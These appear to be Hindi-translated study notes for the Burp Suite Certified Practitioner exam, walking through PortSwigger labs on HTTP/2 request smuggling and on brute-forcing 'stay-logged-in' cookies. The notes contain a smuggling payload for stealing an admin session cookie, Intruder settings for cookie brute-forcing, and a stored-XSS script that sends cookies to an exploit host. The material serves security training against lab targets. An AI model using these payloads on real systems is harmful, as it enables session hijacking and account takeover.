>लक्ष्य अनुरोध स्मगलिंग के लिए असुरक्षित है क्योंकि फ्रंट-एंड सर्वर HTTP/2 अनुरोधों को डाउनग्रेड करता है, भले ही उनकी लंबाई अस्पष्ट हो। लक्ष्य पर आने वाले व्यवस्थापक का सत्र कुकी चुरा लें। Burp एक्सटेंशन, **HTTP Request Smuggler** इस भेद्यता को HTTP/2 TE desync v10a (H2.TE) भेद्यता के रूप में ***पहचान*** करेगा।

>नोट: इंस्पेक्टर अनुरोध विशेषताओं में **HTTP/2** पर स्विच करें और रिपीट मेनू में **Allow HTTP/2 ALPN override** विकल्प सक्षम करें।```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n
नोट: POST और GET दोनों अनुरोधों में पथ गैर-मौजूद एंडपॉइंट्स की ओर इशारा करते हैं। यह पहचानने में मदद करता है कि जब 404 प्रतिक्रिया नहीं मिलती है, तो प्रतिक्रिया पीड़ित उपयोगकर्ता के कैप्चर किए गए अनुरोध से होती है। याद रखें कि स्मगल किए गए अनुरोध को ठीक से समाप्त करने के लिए Host हेडर के बाद
\r\n\r\nअनुक्रम शामिल करें।

चुराए गए सत्र कुकी मान को एडमिन पैनल पर नए http/2 GET अनुरोध में कॉपी करें।``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0

[PortSwigger लैब: H2.TE अनुरोध तस्करी के माध्यम से रिस्पॉन्स कतार विषाक्तता](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
-----
## ब्रूट फोर्स
[लॉग-इन रहें](#stay-logged-in)
[लॉग-इन रहें ऑफ़लाइन क्रैक](#stay-logged-in-offline-crack)
[ब्रूट फोर्स संरक्षित लॉगिन](#brute-force-protected-login)
[सूक्ष्म रूप से अमान्य लॉगिन](#subtly-invalid-login)
### लॉग-इन रहें
>लॉग-इन रहें चेक-बॉक्स वाला लॉगिन विकल्प कुकी मान में लॉग इन उपयोगकर्ता का पासवर्ड शामिल करता है और ब्रूट-फोर्सिंग के लिए असुरक्षित है।

>हमला शुरू करने से पहले नीचे दिए गए एक्सप्लॉइट चरणों के साथ-साथ Intruder पेलोड प्रोसेसिंग नियमों को क्रम में और GREP विकल्प को अनुक्रम में शामिल करें।
1. वर्तमान उपयोगकर्ता के रूप में लॉगआउट करें।
2. सबसे हालिया GET /my-account अनुरोध को Burp Intruder को भेजें।
3. कुकी चुनें: ```stay-logged-in``` को इंजेक्शन स्थिति के रूप में।
4. हैश: ```MD5```
5. उपसर्ग जोड़ें: ```carlos:```
6. एनकोड करें: ```Base64-encode```
7. सेटिंग्स टैब के अंतर्गत **GREP** जोड़ें, ताकि प्रतिक्रिया में ```Update email``` स्ट्रिंग की जाँच हो सके, जो सफलतापूर्वक लॉग इन हमले का संकेत देती है।

[PortSwigger लैब: लॉग-इन रहें कुकी को ब्रूट-फोर्स करना](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)
### लॉग-इन रहें ऑफ़लाइन क्रैक
>ब्लॉग एप्लिकेशन का टिप्पणी फ़ंक्शन [संग्रहीत XSS](#stored-xss) के लिए असुरक्षित है, Carlos का सत्र कुकी एक्सप्लॉइट सर्वर को भेजने के लिए ब्लॉग टिप्पणी में नीचे दिए गए पेलोड का उपयोग करें।```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>
stay-logged-inकुकी मान को Base64 डिकोड करें और ऑनलाइन MD5 हैश क्रैक स्टेशन डेटाबेस का उपयोग करें।

PortSwigger लैब: ऑफ़लाइन पासवर्ड क्रैकिंग
---
[Read more](https://github.com/botesjuan/burp-suite-certified-practitioner-exam-study)